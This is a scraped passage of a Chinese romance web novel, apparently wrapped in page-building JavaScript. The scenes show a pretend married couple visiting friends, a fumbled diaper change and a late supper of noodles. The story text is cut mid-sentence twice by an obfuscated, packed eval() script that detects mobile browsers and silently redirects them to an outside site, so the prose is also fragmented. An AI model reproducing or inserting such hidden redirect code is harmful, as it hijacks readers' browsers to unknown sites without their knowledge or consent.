$(''#content'').append('' 郑洛均好像还真把赵留行给教会了,赵留行这会儿抱着小家伙,行走自如,小家伙也睡得舒服。他骄傲极了,这么多年,他总算是在赵留行面前扳回一局。 他也不再是一无是处了。 说起来,郑洛均虽在仕途里处处失意,但在居家过日子上,却是如鱼得水。别看他平日里公务繁忙,可只要一空闲,他就会帮着何斐真照看孩子。以至于三个孩子,一个比一个黏他。 这样的日子郑洛均很知足,赵留行却感知不到。 他瞧着是一个人漂泊惯了。 “你家儿子可真好带,这半晌不哭不闹就知晓睡大觉,看来是像他娘了。”郑洛均跟赵留行搭起话来,“不像我家这几个,从小就难伺候得很。一个两个都不像我,全都跟他娘小时候一样像个皮猴。无法无天的,太折磨人了。” 郑洛均嘴上抱怨,心里倒乐开了花。 赵留行紧紧抱着小家伙,转眸看他,“我瞧这话你也就敢当着我的面讲,你去跟何二娘说说看。” “你是不想让我活了?”郑洛均反驳。 兄弟二人相视一笑,仿若寻到了儿时的感觉。只是一切都在花开花落里物是人非,他们也都各自有了“家”。曾经的难兄与难弟并肩踏进游廊,赵留行忽而开口唤了声:“九郎。” 郑洛均嗯了一声回头望。 赵留行这才开口问他,“你到底怎么会娶了何二娘为妻?你以前不是最厌她?” “是啊,可我原先也没想过要娶她。” 郑洛均微微一笑,他就知道赵留行早晚会这么问他,“但她那天头一遭哭着跑来找我,说何将军要把她送进宫去,她求我想办法帮帮她。你也知晓,二娘从来不哭的。虽说她总是捉弄我,但毕竟认识了这么多年,我不可能见死不救吧。” “我就让她暂时回家去,第二日我去提亲。” “嫁给我,总比在宫里一辈子出不来好吧。我本想着过些日子,等风头过去就跟她和离,她想再嫁,或者如何都跟我无关。我也算仁至义尽,结果成婚三月……” “怎么?”赵留行难得好奇。 郑洛均有些不好意思地应了声:“二娘就怀孕了。” “……” 赵留行无言相对。 郑洛均挠挠头,还一脸无辜相,“再之后你也瞧见了,我俩这孩子一个接一个,还和离个什么劲。就这么过吧,二娘除了脾气大了些,人还挺好的。而且我都已经被她欺负惯了,若是换个人,恐怕也受不住她。” 赵留行在郑洛均的脸上瞧见了几分羞意,可大抵是他不懂爱为何物,便觉得不可思议。 甚至有些恶心…… 他不由得冷笑起。 此刻,赵留行是真想把何斐真今日在门外冲自己说的那句还得是你,送还给郑洛均,却又几番掂量着咽下。最后,在抬脚前也只道了句:“你欢喜就好……” 郑洛均悠悠追去,“诶,别只顾着说我,我还想问你呢?你怎么突然就想着要带弟妹到家里来坐坐了?” 赵留行放缓脚步,为什么突然想来? 他其实也不是真的想来,他只是在应下侯府邀约后的第二日遇见了郑洛均,所以才突发奇想,想来偷偷学习学习别人夫妻间的相处之道,好应对上巳节的事。 然柳善因对此一无所知,她还以为赵留行只是单单思念故友,特意登门做客。 说话间,小家伙在赵留行怀里蹬了蹬腿,赵留行轻轻拍了拍小家伙的背,转头没跟郑洛均说实话,“没什么特别的,就是想带着小柳来看看你们。” 赵留行说谎不眨眼,郑洛均自然信他。 - 随后,与身边人去到院子后头,赵留行抬眼瞧见三个吵闹的孩童,在院中打得不可开交,“郑合钰,你不要欺负你二哥哥!你快听大哥哥的话,把二哥哥的面人还给二哥哥。你看爹爹来了,你小心爹爹打你屁股。” “略略略就不给,就不给,谁叫二哥哥把小钰捏成这样,二哥哥坏——还有爹爹才舍不得打小钰的屁股呢!” 郑洛均的到来,似乎并未将事态平息,兄妹三个反倒剑拔弩张起来。 “爹爹!你看她。” “爹爹!你揍她!” “爹爹!你来啦~” 听着周遭爹声四起,赵留行两眼一黑。 他不由得暗暗发誓自己往后若是娶了媳妇,千万千万不要生这么多…… 他不是郑洛均,他可应付不来这么多娃。 17. 第 17 章 郑洛均被儿女们缠上脱不开身,赵留行这个难弟见状竟躲得远远没去参与。他是真的一点也不喜欢孩子,也不觉得他们可爱,听着耳边此起彼伏的吵嚷声,赵留行蹙眉捂起了小家伙的脑袋。 他自觉这么一比,还是怀里这个乖些。 可等他不经意低头一瞧,却发现小家伙小小的嘴巴边淌出不少口水,湿漉漉的一直向脖颈漫延。是不是得擦擦?但是用什么擦?还是说等他自己风干…… 赵留行难以抉择,眉心皱得更紧了些。 他抬手犹豫再三,也没狠下心来,他实在下不去手去擦。毕竟照看小家伙全然是出于责任,不是出自本心和爱,他自是过不去心里那道坎。 正当赵留行打算叫小家伙嘴边的口水自己风干时,他却忽而盯上了小家伙身上的衣衫。 男子汉大丈夫,自己的口水自己擦。 赵留行说着就捏起小家伙的袖口,在他自己嘴边擦了两下,小家伙被他捏得在怀里扑腾,赵留行赶忙安抚,“忍忍,很快就好。” 擦个口水而已,赵留行瞧上去却比练兵还要为难。 他搁下小家伙的袖子时,不由得跟着松了一大口气。他望着小家伙不再湿漉的嘴角,甚是得意,瞧瞧,照顾孩子也不是什么难事——比打仗轻松多了。 可这才哪到哪?赵留行惯会安慰自己。 风吹杏花落,郑洛均的小女在兄长们的围攻里觉得无趣,转头从自家爹爹的怀里跳了出来。她在院中看了个遍,脑袋后头的青色头绳一直从背上垂落进她背过去的掌心。 郑合钰捏着头绳转来转去,直到盯上赵留行才欢快迎了上去。小丫头瞧见外人一点也不认生,反倒大大方方张口地问:“叔叔,你抱的是小宝宝吗?” 叔叔……? 赵留行没搭理郑合钰,他想装作没听见,他觉得这样就不会被小丫头缠上。没成想,郑合钰竟不紧不慢走向另一边,探头盯着赵留行的脸继续说道:“叔叔,我能看看小宝宝吗?” 小丫头坚持不懈地追问,赵留行再不搭腔就显得不礼貌。 他垂了眸,将小家伙朝郑合钰靠近,“看吧。” 小丫头踮起脚尖,使劲勾头看。 她是家中最小,大哥和二哥总是喜欢拿辈分说教自己,她便一直希望爹爹娘亲再生个妹妹,这样她就能做姐姐,也能带着妹妹一起对付两个烦人的哥哥了。 可家中有三个已然闹腾成这般,若是再要一胎,恐怕真会要了何斐真和郑洛均两口子的命去。 “这是妹妹吗?”郑合钰盯着小家伙白白的小脸目不转睛。 赵留行摇摇头,“不是,是弟弟。” “哦,是弟弟呀。”郑合钰看上去有些失望,“怎么是弟弟啊?叔叔为什么不生个妹妹呢?小钰喜欢妹妹,叔叔下次还是生个妹妹再抱来给我瞧吧。” 小丫头说罢把头偏了过去。 赵留行听后匪夷所思,被小丫头噎得哑口无言。关键这娃也不是他生的,再说生男生女也不是他想要什么就是什么……这事若是刨根问底,估计得问问送子娘娘去。 赵留行默默抱回小家伙,脑子一热应了声:“行,那下次吧。” 小丫头单纯偏信了大人的鬼话,只见郑合钰满眼期待地望向他,“真的?那下次是哪次?叔叔是和方才阿娘领着的漂亮叔母一起给小钰生个小妹妹吗?小钰喜欢那个叔母。” “……” 小丫头童言无忌,听得赵留行羞涩不已。 郑家这小丫头还真是厉害,果然跟她娘小时候一个样。赵留行这会儿没办法拒绝,也没办法承认。他只得抬眼寄希望于郑洛均,可郑洛均依旧被两个儿子拉着分身乏术,全然指望不上。 只是如今柳善因不在,何斐真跑得无踪无迹,那究竟谁能来救救他? 赵留行犯了难。 小丫头目光如炬,叫他逃也逃不走。 这时间,怀中的小家伙似是察觉到了赵留行的窘迫,只瞧他在睡梦中握紧了拳头,不知在往何处用力。最先察觉到不对劲的是郑合钰,她伸着脖子吸了两口气,很快便被臭的向后退去。 小丫头捏着鼻子一脸鄙夷看向赵留行,“呸呸,好臭好臭。叔叔,你拉臭臭了吗?” “……” 适才的尴尬是被这股子臭味遮盖,可赵留行当下的处境甚至还不如刚才。 他陷入更大的沉默,恨不得找个地缝钻起来,只是那一股股恶臭熏得人大脑一片空白。他仔细寻找气味的来源,直到察觉那味道是从小家伙身上散发出来的,瞬间变了脸色,止不住地干呕。 郑合钰被吓得转头就跑,她边跑还边喊:“爹爹救命,这个叔父好臭——” “不是我,你别……” 赵留行刚想解释,小丫头就一路跑远。 郑洛均循声拽着两个小子回头望,郑合钰却正巧一个猛冲钻进了他怀里。他无奈只得拖着三个娃娃朝赵留行那边去,贴心的小丫头紧紧抱着爹爹张口便说:“爹爹,你别过去,那个叔父真的很臭。” “没事,爹爹就是过去瞧瞧。” 郑洛均松开俩小子,转头抱起闺女来到赵留行面前。 这种场面于他而言已是司空见惯,三个孩子哪个没有这样的时候?可对于赵留行这种初出茅庐者来说,却恨不得将小家伙丢出去,因为这味道实在熏人难耐。 赵留行皆掩鼻,郑合钰闹着要走,只有郑洛均处变不惊地开口:“你这爹当得真是不称职,孩子屙了,你还跟着木头似的杵着作甚?怎么离了弟妹就什么都做不成了?你也不知帮着分担分担。” 郑洛均也是胆子大了,居然敢说教起赵留行了。 但赵留行无从辩驳,照看孩子这事,他确实是离了柳善因什么都做不了。 “少说风凉话,你就说现在怎么办!”赵留行气急。 郑洛均冷笑,“怎么办?换尿戒子——” 可看着赵留行一脸无助,迷茫,甚至有些彷徨的模样,郑洛均不禁疑惑道:“你别告诉我你不知什么是尿戒子,赵老三,你到底是不是这孩子的爹啊!” 倒还真叫他说对了。 赵留行盯着郑洛均不说话,郑洛均见状摇头一声叹息,“来吧来吧,正巧家里还剩些小钰原先没用上的。我就好心再教教你,你今日学会了,往后记得替弟妹多分担。” “真不知,弟妹怎么瞧上你的……” - 两个爹慌慌张张去了松烟堂,两个娘却在后院的杏花树下悠悠闲闲聊起家常。 “我姓何唤斐真,弟妹叫个什么名?” “柳善因。” “弟妹家是哪里的?听着不像咱们这儿的。” “泽州。” “我今年二十有二,弟妹多大?” “虚岁十七。” 何斐真热情相待,柳善因拘谨地坐着。等眼前人一问,她才张口一答。 今日她穿了身缃叶色的交领裙,这是赵留行那日亲自挑选特意要留的,今早过来赵留行还给她挑了朵绯色的绒花戴上。 彼时,柳善因垂眉坐在盛放的花树下,就宛若一朵自枝头飘落的杏花。 安静独立。 何斐真瞧着眼前人美好祥和的青葱模样,忍不住歪头夸奖,“弟妹真安静,不似我这般聒噪。弟妹可真会穿衣裳,你头上的绒花好别致,配你这身衣裳刚刚好呢。” 柳善因闻言摸了摸头顶,不好意思地说:“是赵……夫君帮我挑的,我其实也不懂这些。” “哎呦,我们傻子老三还会帮人搭衣裳呢?”何斐真憋不住大笑,不是从柳善因嘴里听闻,她简直不敢相信赵留行还能这般心细,“他个连狗都不理的家伙,居然能娶到弟妹这么好的媳妇,真该到菩萨面前好好拜拜,也不知是哪世修来的福气。” 何斐真咂舌,柳善因赶忙抬眸挥手,“不是的,赵赵将军也是个很好的人。” “赵赵将军?” “没有,是夫君……” 何斐真被她那憨态可掬的样子逗笑,她轻轻摸了摸柳善因单薄的肩宽慰道:“弟妹,你别紧张,在我面前轻松些。我与老三是多年好友,亦是表亲,你便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161129|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是我的朋友,我的表亲。” “我虽不知赵家那边怎么看,但只要你和老三是真心喜欢,想要一起白首,我和九郎便尊重支持你们。什么门第,什么身份,从他们赵家说出来都是狗屁。” “在这洛阳城里,最没资格反对你俩的,就是赵家——多少年对老三不管不问,现在好意思拿老三的婚事说事?真不要脸。弟妹你别怕,除了二表姑,没人能对你俩的事指手画脚。再说二表姑最疼老三了。既然是老三选的人,而且你俩这生米也煮成了熟饭,我想二表姑应是不会反对。” 尽管柳善因和赵留行是对假夫妻,但眼前人的一片好心,还是令她感动不已。 她很高兴,高兴赵留行能有这么好的朋友。 只是何斐真口中的二表姑,着实让柳善因摸不着头脑,她不好乱说话,只能点头道谢:“谢谢嫂嫂。” “客气什么。”何斐真笑了。 柳善因也跟着眯眼。 可等俩人四目相对,何斐真还是改不了老样子。柳善因看着她眨眨眼,她却搭上柳善因的手,瞧着她是没在赵留行身上问出什么,转头把主意打到她身上了。 “弟妹,我有件事一直好奇。”何斐真掠过飞舞的杏花,向柳善因靠近。 柳善因抬起头,“嫂嫂有事直说便好。” “那我真就直说了?”何斐真小心试探,单纯的柳善因点点头,还不知掉进了她“邪恶”的陷阱。 何斐真低声说:“你跟三郎那事平日怎么样?” 柳善因个未出嫁的闺女,如何知晓她此话何意?她可连男人的手都没牵过,最近一次看到男人的身体,还是前些天给赵留行换药那次。 “那事?”柳善因不明白。 何斐真立即提醒,“就是造孩子那事。” 一说造孩子,柳善因瞬间红了脸。她低着头不敢吭声,太羞人了。 这话怎么好直说的…… 何斐真却挤了挤她,“都已经是孩子娘了,怎么还不好意思呢?这儿就咱俩,说说也不妨事的。你俩昨儿不是还犁地来着?我都懂。老三身强力壮,正是血气方刚的时候,寻日里是不是劲挺大的?” 柳善因闻言不觉攥起掌心。 她琢磨若装傻不回答眼前人的话怕她起疑,可要是说,这事又该怎么张口啊?可柳善因虽没见过人做那事,倒见自家牲口配过,她想这俩之间应是差不离吧? 思量间,何斐真穷追不舍,分毫没给柳善因喘气的机会。她问:“弟妹,想什么呢?” 柳善因抬起头,“没,没什么。” “那你快说说。”何斐真带着满眼的期许将柳善因相望。 柳善因咬咬牙,豁出了自己的廉耻张口瞎扯,她发誓绝不能给赵留行丢脸,“他的劲可大了,就跟我家的公牛一样。而且我俩……我俩平日不是撅着,就是摞着呢!” 柳善因闭嘴闭得刚刚好,瞧着她再多说一句都得露馅。 可这话被身旁的何斐真听去,却是震撼不已。 她一句话不说盯着柳善因瞧了半晌,瞧得柳善因都开始怀疑自己是不是哪点说得不对,被人看穿。谁知,何斐真却忽而发笑不止。她着实有些佩服眼前人,但又不知该如何张口。 而这时渐渐反应过味来的柳善因,不由得低下了头,脸颊上的羞意也再难消散。 - 松烟堂的地柜边,郑洛均将干净的尿戒子狠狠丢向赵留行,“我说你别挣扎了,当爹的换个尿戒子难为你了?让你出门不带女使婆子,只想着叫弟妹一人忙活。该,快些换,别叫你儿子闷了腚去,到时候孩子难受,折腾的也是你们。你听见没?” 赵留行却一脸生无可恋地站在小家伙面前推脱说:“你来。” “我?不成,腾不开手。”郑洛均撇嘴,找了个理由婉拒。郑合钰最是机灵,他听爹爹这么说,赶忙紧紧揽着郑洛均不松。 父女俩就这么一唱一和地逼着赵留行亲自换尿戒子。 赵留行默然相立见此路不通,无奈屏气凝神把心一横,终是朝小家伙伸了手去…… 18. 第 18 章 午时杏花树下对坐,柳善因时不时便会朝东望,她瞧着有几分忧心却不是为赵留行,而是为了小侄子。她转头看了看何斐真,打断了她的喋喋不休,“嫂嫂好久了,咱们是不是该寻他们去了?” 何斐真闻言停下思绪,笑着瞧她,“怎么?一会儿不见就想啊?” “不是的……” 柳善因抿起嘴巴,不知怎么接茬。 何斐真见小女郎失落落垂了头,哪忍再去逗弄她? 她趁势起身抖了抖裙摆上的落花,“行了行了,不逗你了。瞧着厨屋应是快准备好了,我也正好瞧瞧我家那几个小崽子怎么样,有没有趁我不在的时候,将家里的屋顶给掀了去——过两日下雨可就要遭殃呢!” “走吧弟妹,与我一道。” 何斐真出言相邀,柳善因赶忙诶了一声提裙跟了上去。而后,当飘逸的裙摆肆意搅乱一地春色,再顺着风的方向凝眸去,便只剩了她们美好的背影。 - “阿娘,阿娘~” 远远隔着棵青松,郑合钰就冲着何斐真大喊。 何斐真一瞧见闺女,立刻笑得没了眼。她同柳善因走到松烟堂外抱起郑合钰,便替柳善因开口问郑洛均,“老三呢?怎么换你抱着我这小表侄?” “别提了。” 两口子说话间,柳善因默默伸手接过了郑洛均怀里的小侄子。 郑洛均仔细将孩子交接才转头跟媳妇张口抱怨:“让他给孩子换个尿戒子,你猜怎么着?还没伸上手就跑去茅房吐了,真是干啥啥不行。最后弄了半天还是我给孩子换得,指望他一点也指望不上。你说他除了块头大些,会打架些,他还能做什么——” 郑洛均当着人家媳妇的面唠叨个没完,何斐真忍不住瞥他一眼,忙叫他注意:“行了,慎言。你少说两句,人家弟妹还在这儿呢,你这唠唠叨叨成什么样子。” “把嘴闭了。” 郑洛均识相立刻止语。 但柳善因对此倒没什么所谓,她在瞧见小侄子安然无恙后,又担忧起赵留行来,操心个没完。瞧她探头发问:“夫君他……吐了吗?” “嗯,人还在茅房呢。”郑洛均点点头,顺手指向茅房。 柳善因有些挂心,抱着小侄子就要往那去。郑洛均也是嘴快,“诶?弟妹,你还是别过去了。”却被何斐真手疾一把按下,“就你话多,不说话能憋死你。” 何斐真气场强大,郑洛均不得不乖乖收敛。夫妻两个就这么看着她在与他们颔首后抬脚。 柳善因来到茅房外轻轻叩门,只见咚咚咚三声之后,里面依旧无人回应。 她着急大喊:“赵赵将军,你还好吗?” 可等话音落去一片死寂,柳善因便顾不上什么体面,一脚将门踹了开。她这一脚踹得惊天动地,叫何斐真与郑洛均面面相觑,好似踹在了他们身上一样。 二人对视时不禁暗道:别瞧眼前人个子小小,却是不可貌相。可想来弟妹若不是有些本事,必也拿不住那犟头小子。 这头夫妻两个正嘀咕着,那边柳善因慌慌忙忙进了茅房,低头一看赵留行正躬身弯在恭桶旁。 她这会儿也顾不上改口唤什么夫君,张口就是一句:“赵赵将军!” 赵留行吐得两眼昏昏,直到人进屋才听见动静。他趁着柳善因上前的功夫,赶忙反手一挥,遏住了身后人向前的脚步。柳善因站在原地踟蹰不定,赵留行却说:“你别过来——” “赵赵将军,你没事吧?”柳善因不敢贸然上前。 赵留行摇了摇头,他眼下就算是有事,也不能在柳善因面前展示出来,不若就太丢脸了。 他沉默半晌,才装作无事地站起身来。 待他回眸望见柳善因忧虑的目光,便故作坚强道是:“出去吧,我没事。” 但柳善因看着赵留行那略显憔悴的面色,忍不住拽住了他的衣袖,她问赵留行:“你真的可以吗?不行……咱们就跟他们告辞回家去吧。” “哪妨事,你看我像有事的样子吗?我好好的。”赵留行死鸭子嘴硬。 柳善因也没给她面子,当即点头应声说:“像。” “……” 赵留行无言以对。 他此刻腹中确实仍旧有些翻涌,可他能忍,他就这么盯着柳善因面无表情地说:“来都来了,怎么也得吃个饭再走。早起来你就因为赖床耽搁了,没用早饭,现在不饿?” 柳善因不吭声,她瞧着是有些愧疚,愧疚自己怎么能让赵赵将军独自应付这些事。 哪里还敢嚷嚷饿。 赵留行与柳善因相处了一旬,似是能多少能读懂些这女郎的情绪,他看着柳善因这副欲言又止的模样,伸手点住了她的脑袋,“诶,你若又想道歉,趁早免开尊口。” 柳善因纳闷,他怎么知晓自己要跟他道歉?难不成他还会读心不成? 可并非是赵留行会读心,而是柳善因道歉的频率实在太多太快。惹得他现在只要跟柳善因对上眼神,就知晓眼前人又要作甚。所以与其待会儿还得跟她解释,倒不如先开口阻止。 柳善因眼见赵留行不让自己致歉,也就不再好多言。 可她不知为何,忽而勾着鼻子朝头顶的方向闻了闻,紧跟着便道了句:“赵赵将军,你…是不是没洗手哇……” 此话一出,气氛瞬间尴尬。 赵留行默默将手从柳善因的脑袋上收回,转头走到水桶边,再也没搭理她。 - 开席的时候,柳善因与赵留行带着小侄子坐在南面。 郑家一家五口坐在北边。 此间春色正盛,两桌人在和煦的风中对望,照旧是何斐真最先开口,她问三郎,“这次回来同侯府那边碰面了吗?侯府知道你俩的事后,是什么意思?” 赵留行精神头比适才好了不少,他把自己面前的果脯,悄悄推向眼巴巴向自己这边观望的柳善因后,才开口说:“没见,他们是什么意思不重要。但他们邀了我们去过上巳,我给应了。” 何斐真闻言跟郑洛均对了一眼。 她觉得赵留行这回还真是上心了,居然要带着人到侯府去。要知道往前赵留行,可是半分侯府的边也不会沾,今朝算得上百年难遇头一回。他当真是遇着欢心之人,死心塌地了。 “上巳?这时候的堤上柳树繁茂,你带着弟妹好好玩。”何斐真垂眸没说太多,有些事心知肚明就好。她也没有那么口无遮拦。 赵留行嗯了一声。 两边渐渐陷入沉寂,除却孩童的嬉笑声,再无杂音。 上菜的老嬷转个弯就到的功夫,何斐真忽而脑海中闪过什么,拽着郑洛均的衣袖开始止不住地发笑。郑洛均看着她那想笑憋又憋不住的模样,大惑不解:“谁点你笑穴了?你一直笑个啥?” “就是阿娘,你笑什么啊?”小丫头也跟着奇怪。 何斐真拍拍郑洛均,随之将头贴去了他的背后,躲闪开赵留行的注意,“嘘,别说话——你瞧着吧,一会儿老三还得…哈哈哈哈……” “?” 何斐真笑个没完。 郑洛均举目看去对面,怎么也想不明白。 赵留行不与旧友交谈,转头将目光投到了身边人身上。 他问柳善因:“好吃?” 彼时,柳善因正一手举着果脯,一手举着糕点吃得不亦乐乎。 等到赵留行问她,她才快快将口中吃食嚼碎,点头应声说:“好吃,我从没吃过这么好吃的东西,就是过年的时候也没有。但陈阿翁推车卖的饴糖,也很好吃。从前阿兄只有除夕前才会买给我,我一年最开心的就是那几天。” 所以,今日简直就像过年一样! 眼前人的纯粹乐观,叫赵留行无言。他被柳善因感染,竟主动拿起了他平日看都不看一眼的果脯送入口中,只是待他仔细咀嚼过后,却得到了这样的评价。 一般… 非常一般…… 如此一般的东西,她是怎么吃得这么津津有味的?赵留行讶然看向柳善因,柳善因还以为他是喜欢,赶忙将果脯送还到他面前,“夫君是还要吗?” 赵留行抵住盘子摇头说:“不了,都是你的。” “那我就不客气了。”柳善因说着将盘子拽了回去,谁知赵留行又突然莫名其妙把盘子撤走三分,“别吃太多,待会儿还有午饭,省得吃不下。” 他那言外之意其实是没什么好吃的,少吃。 柳善因却不情不愿地应了声:“好,我知道了。” - 老嬷布菜自是给客人先上。 何斐真就在对面一脸看戏地往赵留行那望,她看郑洛均也看,郑洛均看孩子们也看。如此一家五口就这么直勾勾看着赵留行他们仨,好在赵留行和柳善因,一个不在意,一个顾不上。 不若定说这郑家人失礼。 老嬷一边端菜一边报名,前几个倒是没什么异常,直到那份瞧着黏黏糊糊的东西被端上桌,还正正好被搁在了赵留行面前,连柳善因这般反应慢的人都顿觉大事不妙。 “红枣山药泥,郎君娘子请用。” “呕——” 果不其然,老嬷话音未落赵留行便猛地从桌前弹起,逃去了老地方。 “哈哈哈哈哈哈。” 何斐真张狂的笑声,随之在院中传开。 郑洛均这会儿总算明白媳妇笑个什么,他也咧嘴想笑却又不好意思笑,总觉得有些不地道,“你什么时候加了红枣山药泥?我记得昨儿咱俩对菜的时候,没有这道啊?你该不会是故意……” “阿娘,红枣山药泥怎么了?”郑合钰也是个好事的。 何斐真没理郑洛均,她低头摸了摸闺女的脑袋,“没怎么,这道菜是阿娘临时给小钰加的,你前几日积食不舒服,红枣山药泥健脾养胃,小钰记着多吃些。” 小丫头点点头,“小钰要全吃光!” 柳善因看着赵留行从自己身旁走远,刚想起身去追,就被何斐真抬手阻止。 她说:“弟妹,你别管他。我家三郎最开始照顾老大的时候不也是这样?你叫他多吐几回就好,做什么事总得有个过程不是?咱们怀孕的时候多辛苦啊,他们受这点罪,吃这点苦又能怎的?你听我的安心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15168977|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下,别抱着孩子折腾。咱们吃咱们的,他吐好了自己会回来。” “开席,开席——” “好。” 柳善因碍于情面不得已重新坐了下, 但她的心思自坐下那刻,就再也没从赵留行转身的方向离开过…… - 柳善因他俩离开郑家的时候,差不多已过了酉时三刻。 今日这么一趟折腾下来,赵留行一进屋门倒头就埋进了被窝,任凭柳善因怎么叫都不说话。 柳善因无奈便不搭理他。 她心里始终惦记着自己那块刚整好的菜园子,只瞧回屋换罢衣裳,掉头迎着夕阳就往后院跑。然土酥去过郑家后没回家,不知又去哪疯跑了,所以这会儿就只剩柳善因一人在后院忙活。 大抵过了半个多时辰,白昼将尽。 柳善因浇好最后一块菜地,一抬头却见一个高大的身影隐约立在那边的拱门前。 家中只一个男丁,哦不对,是一个半。柳善因不用猜都知道是谁,她收好水桶浅笑道:“我以为夫君要睡到明日去,怎么跑到这儿来了?是找我吗?” 赵留行一动不动站在黯淡处。晚风吹动树影,将他的目光一分为二,很久很久,他才环臂走到柳善因面前抛出一句倔强的:“饿了。” 柳善因被他无辜的语气,和异常严肃的表情逗笑。她想他不饿才怪,人吐了那么久,最后也没怎么好好吃东西,能不饿吗? 他又不是铁做的。 只不过…… 柳善因先是转眸看了眼漆黑的厨屋,而后才眯眼笑着与不远处的赵留行柔声说:“土酥不在,我做给你吃吧,鸡蛋面行吗?” 赵留行想起白日的事,在柳善因面前多少有点挂不住。可面子哪有饿肚子重要?他又不会做饭,也只能寄希望于眼前人,他望着柳善因柔情似水的双目不好意思地说:“麻烦你了。” 柳善因摆摆手,“不要客气,给夫君下碗面也是应当的嘛。” 瞧着是跟赵留行熟络,她竟然能跟他开起玩笑来了。 只是,这玩笑开得真叫人发羞,平日里当着外人的面柳善因唤赵留行夫君倒没觉得有什么,可眼下只剩他二人时还叫的这么亲昵,就显得暧昧不已。 等柳善因呆呆的脑袋追上笨笨的嘴巴,顿时烧红了脸颊。看来今晚的鸡蛋面,就用她这颗红鸡蛋好了。 “还需要我帮你做什么吗?” 可柳善因面对的是谁?是赵留行这块千年木头。赵留行在闻言后,依旧将这声夫君当做是应付上巳的训练,没有任何遐想,他直勾勾看着柳善因,柳善因却一溜烟转身跑了。 “不用了赵赵将军,你搬张桌子坐外面吧——” 简简单单一碗鸡蛋面,费不了多久功夫,对于柳善因这持家的小女郎来说,还不是手到擒来。 赵留行坐在廊外飘忽的石灯边,安静等待,跳跃的灯火烧亮了他的眼。 下一刻,看着那碗冒着金光的鸡蛋面端上桌,他不由得睁大了眼睛,不成想等再一抬眼,就连做面的人此刻居然也是煜煜生辉着…… 她在碗里加了什么?还是自己饿花了眼! 眼前人怎的在发光? 赵留行仰视着柳善因,找不到问题的答案。直到柳善因到他面前坐下,圆圆的脑袋正巧挡住了石灯的光亮,他才恍然大悟,哦原来是灯给耀的…… “吃吧。” 柳善因见赵留行不动筷,伸手轻轻将碗朝他推近,她边推边解释道:“你别嫌弃,是非常家常的味道。以前家里能吃的东西不多,所以我也只会做这些东西。” 赵留行黯淡了眼神,重新垂下了头。 他默默拿起木筷夹上一口面条送进口中,随即便说:“好吃,有家的味道。” 家的味道? 尽胡扯。 赵留行压根不知家的味道是什么,但不知为何,等他尝出面中那股子淡淡的葱花香,便鬼使神差说了这样的话。他似是觉得家的味道,大抵应是如此。 柳善因坐在对面托着下巴微微笑,“好吃就行,你要是喜欢,我下次还给你做。” 此间静谧,一切都是那样美好。爹爹狼吞虎咽,阿娘笑眼瞧,娃娃自己在屋里睡得香甜。不远处的菜园子上呀,还有流萤绕啊绕。 而后待赵留行喝罢最后一口面汤,温暖过辘辘的饥肠,这才像是想起了什么般抬眼唤了声:“小柳。” “怎么了?”柳善因眨眨眼。 赵留行在开口前起身,端着饭碗就打算到院中去刷洗。 柳善因见状急着上前去抢,却被赵留行一把按了下,她力不敌赵留行,就只能抬头看着赵留行背身走远,“没顾上问,今天你跟何二娘俩人去后院都说什么了?” 问话的人漫不经心,听话的人却瞬时大惊。 柳善因偏过头去,心虚着不敢看他。 赵留行偏站在水盆边惑然回首,“小柳?我同你说话呢?”柳善因怔怔回过头,正巧对上赵留行抛来的炽热目光,心下一片慌乱竟傻傻应了声,“你真想听啊?” 那可千万把碗拿稳了……